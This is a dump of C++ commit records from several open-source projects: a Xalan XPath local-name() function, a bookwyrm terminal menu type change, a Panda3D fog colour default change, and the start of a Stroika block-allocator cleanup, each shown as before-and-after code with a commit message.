*\/\n\/\/\n\/\/ These are all inline, even though\n\/\/ there are virtual functions, because we expect that they will only be\n\/\/ needed by the XPath class.\nclass XALAN_XPATH_EXPORT FunctionLocalName : public Function\n{\npublic:\n\n\t\/\/ These methods are inherited from Function ...\n\n\tvirtual XObject*\n\texecute(\n\t\t\tXPathExecutionContext&\t\t\texecutionContext,\n\t\t\tXalanNode*\t\t\t\t\t\tcontext,\n\t\t\tint\t\t\t\t\t\t\t\t\/* opPos *\/,\n\t\t\tconst XObjectArgVectorType&\t\targs)\n\t{\n\t\tconst XObjectArgVectorType::size_type\ttheSize =\n\t\t\targs.size();\n\n\t\tif(theSize > 1)\n\t\t{\n\t\t\texecutionContext.error(\"The local-name() function takes zero or one arguments!\",\n\t\t\t\t\t\t\t\t   context);\n\t\t}\n\n\t\tXalanDOMString\ttheData;\n\n\t\tif (theSize == 0)\n\t\t{\n\t\t\tif (context == 0)\n\t\t\t{\n\t\t\t\texecutionContext.error(\"The local-name() function requires a non-null context node!\");\n\t\t\t}\n\n\t\t\ttheData = executionContext.getLocalNameOfNode(*context);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tassert(args[0] != 0);\n\n\t\t\tconst NodeRefListBase&\ttheNodeList = args[0]->nodeset();\n\n\t\t\tif (theNodeList.getLength() > 0)\n\t\t\t{\n\t\t\t\ttheData = executionContext.getLocalNameOfNode(*theNodeList.item(0));\n\t\t\t}\n\t\t}\n\n\t\treturn executionContext.getXObjectFactory().createString(theData);\n\t}\n\n#if defined(XALAN_NO_COVARIANT_RETURN_TYPE)\n\tvirtual Function*\n#else\n\tvirtual FunctionLocalName*\n#endif\n\tclone() const\n\t{\n\t\treturn new FunctionLocalName(*this);\n\t}\n\nprivate:\n\n\t\/\/ Not implemented...\n\tFunctionLocalName&\n\toperator=(const FunctionLocalName&);\n\n\tbool\n\toperator==(const FunctionLocalName&) const;\n};\n\n\n\n#endif\t\/\/ FUNCTIONLOCALNAME_HEADER_GUARD_1357924680\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2017 Tmplt <tmplt@dragons.rocks>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <fmt\/format.h>\n#include <termbox.h>\n#include <spdlog\/spdlog.h>\n#include <pybind11\/embed.h>\n\n#include \"errors.hpp\"\n#include \"components\/menu.hpp\"\n#include \"components\/logger.hpp\"\n\nnamespace py = pybind11;\n\nnamespace bookwyrm {\n\nmenu::~menu()\n{\n    tb_shutdown();\n}\n\nvoid menu::display()\n{\n    menu_mutex_.lock();\n\n    int code = tb_init();\n    if (code < 0) {\n        string err = \"termbox init failed with code: \" + code;\n        throw component_error(err.data());\n    }\n\n    tb_set_cursor(TB_HIDE_CURSOR, TB_HIDE_CURSOR);\n    tb_clear();\n\n    menu_mutex_.unlock();\n\n    \/*\n     * Let the source threads free.\n     * This doesn't feel like the best place to have this,\n     * but we do need to have a release in scope if we\n     * ever want the threads to run.\n     * TODO: find out if there is a better place for this.\n     *\/\n    py::gil_scoped_release nogil;\n\n    struct tb_event ev;\n    bool quit = false;\n    while (tb_poll_event(&ev) && !quit) {\n        if (ev.type == TB_EVENT_KEY) {\n            switch (ev.key) {\n                case TB_KEY_ESC:\n                    quit = true;\n                    break;\n                case TB_KEY_ARROW_DOWN:\n                    move(down);\n                    break;\n                case TB_KEY_ARROW_UP:\n                    move(up);\n                    break;\n                case TB_KEY_SPACE:\n                    toggle_select();\n                    break;\n            }\n        }\n    }\n}\n\nvoid menu::update()\n{\n    tb_clear();\n\n    for (auto &item : items_) {\n        print_item(item);\n        y_++;\n    }\n\n    \/\/ print_scrollbar down here\n    mvprintw(0, tb_height() - 2, fmt::format(\"The menu contains {} items.\", item_count()));\n\n    y_ = 0;\n    tb_present();\n}\n\nvoid menu::print_item(const item &t)\n{\n    bool on_selected_item = (y_ == selected_item_);\n\n    \/*\n     * Imitate an Ncurses menu, denote the selected item with a '-'\n     * and by reversing fg and bg on the entry.\n     * Leave x = 1 to the indicator.\n     *\/\n    if (on_selected_item) {\n        tb_change_cell(0, y_, '-', 0, 0);\n    } else if (is_marked(y_)) {\n        tb_change_cell(0, y_, ' ', TB_REVERSE, 0);\n    }\n\n    int attrs = on_selected_item || is_marked(y_) ? TB_REVERSE : 0;\n    int x = 1;\n\n    for (char ch : t.nonexacts.title) {\n        tb_change_cell(x++, y_, ch, attrs, 0);\n    }\n}\n\nvoid menu::mvprintw(int x, int y, string str)\n{\n    for (char ch : str) {\n        tb_change_cell(x++, y, ch, 0, 0);\n    }\n}\n\nvoid menu::move(direction dir)\n{\n    bool at_first_item = selected_item_ == 0,\n         at_last_item  = selected_item_ == static_cast<int>(item_count() - 1);\n\n    switch (dir) {\n        case up:\n            if (at_first_item) return;\n            selected_item_--;\n            break;\n        case down:\n            if (at_last_item) return;\n            selected_item_++;\n            break;\n    }\n\n    update();\n}\n\nvoid menu::toggle_select()\n{\n    if (is_marked(selected_item_)) {\n        unmark_item(selected_item_);\n    } else {\n        mark_item(selected_item_);\n    }\n\n    update();\n}\n\n} \/* ns bookwyrm *\/\n<commit_msg>menu: use the same types as termbox.h<commit_after>\/*\n * Copyright (C) 2017 Tmplt <tmplt@dragons.rocks>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <fmt\/format.h>\n#include <termbox.h>\n#include <spdlog\/spdlog.h>\n#include <pybind11\/embed.h>\n\n#include \"errors.hpp\"\n#include \"components\/menu.hpp\"\n#include \"components\/logger.hpp\"\n\nnamespace py = pybind11;\n\nnamespace bookwyrm {\n\nmenu::~menu()\n{\n    tb_shutdown();\n}\n\nvoid menu::display()\n{\n    menu_mutex_.lock();\n\n    int code = tb_init();\n    if (code < 0) {\n        string err = \"termbox init failed with code: \" + code;\n        throw component_error(err.data());\n    }\n\n    tb_set_cursor(TB_HIDE_CURSOR, TB_HIDE_CURSOR);\n    tb_clear();\n\n    menu_mutex_.unlock();\n\n    \/*\n     * Let the source threads free.\n     * This doesn't feel like the best place to have this,\n     * but we do need to have a release in scope if we\n     * ever want the threads to run.\n     * TODO: find out if there is a better place for this.\n     *\/\n    py::gil_scoped_release nogil;\n\n    struct tb_event ev;\n    bool quit = false;\n    while (tb_poll_event(&ev) && !quit) {\n        if (ev.type == TB_EVENT_KEY) {\n            switch (ev.key) {\n                case TB_KEY_ESC:\n                    quit = true;\n                    break;\n                case TB_KEY_ARROW_DOWN:\n                    move(down);\n                    break;\n                case TB_KEY_ARROW_UP:\n                    move(up);\n                    break;\n                case TB_KEY_SPACE:\n                    toggle_select();\n                    break;\n            }\n        }\n    }\n}\n\nvoid menu::update()\n{\n    tb_clear();\n\n    for (auto &item : items_) {\n        print_item(item);\n        y_++;\n    }\n\n    \/\/ print_scrollbar down here\n    mvprintw(0, tb_height() - 2, fmt::format(\"The menu contains {} items.\", item_count()));\n\n    y_ = 0;\n    tb_present();\n}\n\nvoid menu::print_item(const item &t)\n{\n    bool on_selected_item = (y_ == selected_item_);\n\n    \/*\n     * Imitate an Ncurses menu, denote the selected item with a '-'\n     * and by reversing fg and bg on the entry.\n     * Leave x = 1 to the indicator.\n     *\/\n    if (on_selected_item) {\n        tb_change_cell(0, y_, '-', 0, 0);\n    } else if (is_marked(y_)) {\n        tb_change_cell(0, y_, ' ', TB_REVERSE, 0);\n    }\n\n    uint16_t attrs = on_selected_item || is_marked(y_) ? TB_REVERSE : 0;\n    int x = 1;\n\n    for (uint32_t ch : t.nonexacts.title) {\n        tb_change_cell(x++, y_, ch, attrs, 0);\n    }\n}\n\nvoid menu::mvprintw(int x, int y, string str)\n{\n    for (uint32_t ch : str) {\n        tb_change_cell(x++, y, ch, 0, 0);\n    }\n}\n\nvoid menu::move(direction dir)\n{\n    bool at_first_item = selected_item_ == 0,\n         at_last_item  = selected_item_ == static_cast<int>(item_count() - 1);\n\n    switch (dir) {\n        case up:\n            if (at_first_item) return;\n            selected_item_--;\n            break;\n        case down:\n            if (at_last_item) return;\n            selected_item_++;\n            break;\n    }\n\n    update();\n}\n\nvoid menu::toggle_select()\n{\n    if (is_marked(selected_item_)) {\n        unmark_item(selected_item_);\n    } else {\n        mark_item(selected_item_);\n    }\n\n    update();\n}\n\n} \/* ns bookwyrm *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Filename: fog.cxx\n\/\/ Created by:  mike (09Jan97)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Includes\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <pandabase.h>\n\n#include \"fog.h\"\n\n#include <mathNumbers.h>\n\n#include <stddef.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Static variables\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTypeHandle Fog::_type_handle;\n\nostream &\noperator << (ostream &out, Fog::Mode mode) {\n  switch (mode) {\n  case Fog::M_linear:\n    return out << \"linear\";\n\n  case Fog::M_exponential:\n    return out << \"exponential\";\n\n  case Fog::M_super_exponential:\n    return out << \"super_exponential\";\n\n  case Fog::M_spline:\n    return out << \"spline\";\n  }\n\n  return out << \"**invalid**(\" << (int)mode << \")\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: Fog::Constructor\n\/\/       Access:\n\/\/  Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nFog::Fog(Mode mode, int hardware_bits) {\n  _hardware_bits = hardware_bits;\n  set_mode(mode);\n  set_color(Colorf(0.0, 0.0, 0.0, 1.0));\n  set_range(0.0f, 100.0f);\n  set_offsets(0.0f, 0.0f);\n  compute_density();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: Fog::Destructor \n\/\/       Access:\n\/\/  Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nFog::~Fog(void) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: Fog::set_mode\n\/\/       Access:\n\/\/  Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Fog::compute_density(void) {\n  _density = 1.0f;\n  float opaque_multiplier;\n  switch (_mode) {\n  case M_linear: \n    break;\n  case M_exponential:\n    \/\/ Multiplier = ln(2^bits)\n    opaque_multiplier = MathNumbers::ln2 * _hardware_bits;\n    _density = opaque_multiplier \/ (_opaque + _opaque_offset);\n    break;\n  case M_super_exponential:\n    \/\/ Multiplier = ln(squrt(2^bits))\n    opaque_multiplier = 0.5f * MathNumbers::ln2 * _hardware_bits;\n    opaque_multiplier *= opaque_multiplier;\n    _density = opaque_multiplier \/ (_opaque + _opaque_offset);\n    break;\n  case M_spline:\n    \/\/ *** What's this?\n    break;\n  }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: Fog::output\n\/\/       Access: Public\n\/\/  Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Fog::\noutput(ostream &out) const {\n  out << \"fog:\" << _mode;\n  switch (_mode) {\n  case M_linear: \n    break;\n  case M_exponential:\n  case M_super_exponential:\n    out << \"(\" << _hardware_bits << \",\" << _density\n\t<< \",\" << _opaque << \",\" << _opaque_offset << \")\";\n    break;\n  case M_spline:\n    break;\n  };\n}\n<commit_msg>default to a more usual fog color<commit_after>\/\/ Filename: fog.cxx\n\/\/ Created by:  mike (09Jan97)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Includes\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <pandabase.h>\n\n#include \"fog.h\"\n\n#include <mathNumbers.h>\n\n#include <stddef.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Static variables\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTypeHandle Fog::_type_handle;\n\nostream &\noperator << (ostream &out, Fog::Mode mode) {\n  switch (mode) {\n  case Fog::M_linear:\n    return out << \"linear\";\n\n  case Fog::M_exponential:\n    return out << \"exponential\";\n\n  case Fog::M_super_exponential:\n    return out << \"super_exponential\";\n\n  case Fog::M_spline:\n    return out << \"spline\";\n  }\n\n  return out << \"**invalid**(\" << (int)mode << \")\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: Fog::Constructor\n\/\/       Access:\n\/\/  Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nFog::Fog(Mode mode, int hardware_bits) {\n  _hardware_bits = hardware_bits;\n  set_mode(mode);\n  set_color(Colorf(1.0, 1.0, 1.0, 1.0));\n  set_range(0.0f, 100.0f);\n  set_offsets(0.0f, 0.0f);\n  compute_density();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: Fog::Destructor \n\/\/       Access:\n\/\/  Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nFog::~Fog(void) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: Fog::set_mode\n\/\/       Access:\n\/\/  Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Fog::compute_density(void) {\n  _density = 1.0f;\n  float opaque_multiplier;\n  switch (_mode) {\n  case M_linear: \n    break;\n  case M_exponential:\n    \/\/ Multiplier = ln(2^bits)\n    opaque_multiplier = MathNumbers::ln2 * _hardware_bits;\n    _density = opaque_multiplier \/ (_opaque + _opaque_offset);\n    break;\n  case M_super_exponential:\n    \/\/ Multiplier = ln(squrt(2^bits))\n    opaque_multiplier = 0.5f * MathNumbers::ln2 * _hardware_bits;\n    opaque_multiplier *= opaque_multiplier;\n    _density = opaque_multiplier \/ (_opaque + _opaque_offset);\n    break;\n  case M_spline:\n    \/\/ *** What's this?\n    break;\n  }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: Fog::output\n\/\/       Access: Public\n\/\/  Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Fog::\noutput(ostream &out) const {\n  out << \"fog:\" << _mode;\n  switch (_mode) {\n  case M_linear: \n    break;\n  case M_exponential:\n  case M_super_exponential:\n    out << \"(\" << _hardware_bits << \",\" << _density\n\t<< \",\" << _opaque << \",\" << _opaque_offset << \")\";\n    break;\n  case M_spline:\n    break;\n  };\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2018.  All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Memory_BlockAllocated_inl_\n#define _Stroika_Foundation_Memory_BlockAllocated_inl_ 1\n\n\/*\n ********************************************************************************\n ***************************** Implementation Details ***************************\n ********************************************************************************\n *\/\n\nnamespace Stroika::Foundation::Memory {\n\n    \/*\n     ********************************************************************************\n     ************************* BlockAllocationUseHelper<T> **************************\n     ********************************************************************************\n     *\/\n    template <typename T>\n    inline void* BlockAllocationUseHelper<T>::operator new (size_t n)\n    {\n        return BlockAllocator<T>::Allocate (n);\n    }\n    template <typename T>\n    inline void* BlockAllocationUseHelper<T>::operator new (size_t n, int, const char*, int)\n    {\n        return BlockAllocator<T>::Allocate (n);\n    }\n    template <typename T>\n    inline void BlockAllocationUseHelper<T>::operator delete (void* p)\n    {\n        BlockAllocator<T>::Deallocate (p);\n    }\n    template <typename T>\n    inline void BlockAllocationUseHelper<T>::operator delete (void* p, int, const char*, int)\n    {\n        BlockAllocator<T>::Deallocate (p);\n    }\n\n    \/*\n     ********************************************************************************\n     ******************* BlockAllocationUseGlobalAllocatorHelper<T> *****************\n     ********************************************************************************\n     *\/\n    template <typename T>\n    inline void* BlockAllocationUseGlobalAllocatorHelper<T>::operator new (size_t n)\n    {\n        return ::operator new (n);\n    }\n    template <typename T>\n    inline void* BlockAllocationUseGlobalAllocatorHelper<T>::operator new (size_t n, int, const char*, int)\n    {\n        return ::operator new (n);\n    }\n    template <typename T>\n    inline void BlockAllocationUseGlobalAllocatorHelper<T>::operator delete (void* p)\n    {\n        ::operator delete (p);\n    }\n    template <typename T>\n    inline void BlockAllocationUseGlobalAllocatorHelper<T>::operator delete (void* p, int, const char*, int)\n    {\n        ::operator delete (p);\n    }\n\n    \/*\n     ********************************************************************************\n     *************************** ManuallyBlockAllocated<T> **************************\n     ********************************************************************************\n     *\/\n    template <typename T>\n    template <typename... ARGS>\n    inline T* ManuallyBlockAllocated<T>::New (ARGS&&... args)\n    {\n#if qAllowBlockAllocation\n        return new (BlockAllocator<T>::Allocate (sizeof (T))) T (forward<ARGS> (args)...);\n#else\n        return new T (forward<ARGS> (args)...);\n#endif\n    }\n    template <typename T>\n    inline void ManuallyBlockAllocated<T>::Delete (T* p) noexcept\n    {\n#if qAllowBlockAllocation\n        if (p != nullptr) {\n            (p)->~T ();\n            BlockAllocator<T>::Deallocate (p);\n        }\n#else\n        delete p;\n#endif\n    }\n\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ DEPRECATED STUFF\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/**\n         *  \\note DEPRECATED - USE UseBlockAllocationIfAppropriate\n         *\/\n#if qAllowBlockAllocation\n#define DECLARE_USE_BLOCK_ALLOCATION_DEPRECATED(THIS_CLASS)                                                                                         \\\n    static void* operator new (size_t n) { return (Stroika::Foundation::Memory::BlockAllocator<THIS_CLASS>::Allocate (n)); }                        \\\n    static void* operator new (size_t n, int, const char*, int) { return (Stroika::Foundation::Memory::BlockAllocator<THIS_CLASS>::Allocate (n)); } \\\n    static void  operator delete (void* p) { Stroika::Foundation::Memory::BlockAllocator<THIS_CLASS>::Deallocate (p); }                             \\\n    static void  operator delete (void* p, int, const char*, int) { Stroika::Foundation::Memory::BlockAllocator<THIS_CLASS>::Deallocate (p); }\n#else\n#define DECLARE_USE_BLOCK_ALLOCATION_DEPRECATED(THIS_CLASS)\n#endif\n\n\/\/ Deprecated in Stroika v2.1d4 - USE UseBlockAllocationIfAppropriate\n#define DECLARE_USE_BLOCK_ALLOCATION(THIS_CLASS) use = \"DECLARE_USE_BLOCK_ALLOCATION_DEPRECATED\"\n\n\/\/ Deprecated in Stroika v2.1d4 - USE UseBlockAllocationIfAppropriate\n#if qAllowBlockAllocation\n#define DECLARE_DONT_USE_BLOCK_ALLOCATION_DEPRECATED(THIS_CLASS)        \\\n    static void* operator new (size_t n) { return ::operator new (n); } \\\n    static void  operator delete (void* p) { ::operator delete (p); }\n#else\n#define DECLARE_DONT_USE_BLOCK_ALLOCATION_DEPRECATED(THIS_CLASS)\n#endif\n\n\/\/ Deprecated in Stroika v2.1d4 - USE BlockAllocationUseGlobalAllocatorHelper\n#define DECLARE_DONT_USE_BLOCK_ALLOCATION(THIS_CLASS) use = \"DECLARE_DONT_USE_BLOCK_ALLOCATION_DEPRECATED\"\n\n    \/**\n         * \\brief  Utility class to implement special memory allocator pattern which can greatly improve performance - @see DECLARE_USE_BLOCK_ALLOCATION()\n         *\n         * AutomaticallyBlockAllocated<T> is a templated class designed to allow easy use\n         * of a block-allocated memory strategy. This means zero overhead malloc\/memory allocation for fixed\n         * size blocks (with the only problem being the storage is never - or almost never - returned to the\n         * free store - it doesn't leak - but cannot be used for other things. This is often a useful\n         * tradeoff for things you allocate a great number of.\n         *\n         * You shouldn't disable it lightly. But you may wish to temporarily disable block-allocation\n         * while checking for memory leaks by shutting of the qAllowBlockAllocation compile-time configuration variable.\n         * \n         *  If qAllowBlockAllocation true (default) - this will use the optimized block allocation store, but if qAllowBlockAllocation is\n         *  false (0), this will just default to the global ::new\/::delete\n         *\n         *\/\n    template <typename T>\n    [[deprecated (\"bad idea - if you use to allocate - must retain type AutomaticallyBlockAllocated<T>* or do wrong delete - deprecated in v2.1d4\")]] class AutomaticallyBlockAllocated : public UseBlockAllocationIfAppropriate<T> {\n    public:\n        \/**\n             * @todo Clean this section of code (BlockAllocated) up. See if some better way to wrap type T, with extras.\n             *      something that does good job forwarding CTOR arguments (perfect forwarding?) and does a better job\n             *      with stuff like operator==, operaotr<, etc... (maybe explicitly override  each)?\n             *\/\n        AutomaticallyBlockAllocated ();\n        AutomaticallyBlockAllocated (const AutomaticallyBlockAllocated& t);\n        AutomaticallyBlockAllocated (const T& t);\n        AutomaticallyBlockAllocated (T&& t);\n\n    public:\n        nonvirtual const AutomaticallyBlockAllocated<T>& operator= (const AutomaticallyBlockAllocated& t);\n        nonvirtual const AutomaticallyBlockAllocated<T>& operator= (const T& t);\n\n    public:\n        nonvirtual operator T () const;\n\n    public:\n        nonvirtual T* get ();\n\n    private:\n        T fValue_;\n    };\n\n    template <typename T>\n    inline AutomaticallyBlockAllocated<T>::AutomaticallyBlockAllocated ()\n        : fValue_ ()\n    {\n    }\n    template <typename T>\n    inline AutomaticallyBlockAllocated<T>::AutomaticallyBlockAllocated (const AutomaticallyBlockAllocated<T>& t)\n        : fValue_ (t)\n    {\n    }\n    template <typename T>\n    inline AutomaticallyBlockAllocated<T>::AutomaticallyBlockAllocated (const T& t)\n        : fValue_ (t)\n    {\n    }\n    template <typename T>\n    inline AutomaticallyBlockAllocated<T>::AutomaticallyBlockAllocated (T&& t)\n        : fValue_ (move (t))\n    {\n    }\n    template <typename T>\n    inline const AutomaticallyBlockAllocated<T>& AutomaticallyBlockAllocated<T>::operator= (const AutomaticallyBlockAllocated<T>& t)\n    {\n        fValue_ = t.fValue_;\n        return *this;\n    }\n    template <typename T>\n    inline const AutomaticallyBlockAllocated<T>& AutomaticallyBlockAllocated<T>::operator= (const T& t)\n    {\n        fValue_ = t;\n        return *this;\n    }\n    template <typename T>\n    inline AutomaticallyBlockAllocated<T>::operator T () const\n    {\n        return fValue_;\n    }\n    template <typename T>\n    inline T* AutomaticallyBlockAllocated<T>::get ()\n    {\n        return &fValue_;\n    }\n}\n#endif \/*_Stroika_Foundation_Memory_BlockAllocated_inl_*\/\n<commit_msg>cleanup deprecated AutomaticallyBlockAllocated<T><commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2018.  All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Memory_BlockAllocated_inl_\n#define _Stroika_Foundation_Memory_BlockAllocated_inl_ 1\n\n\/*\n ********************************************************************************\n ***************************** Implementation Details ***************************\n ********************************************************************************\n *\/\n\nnamespace 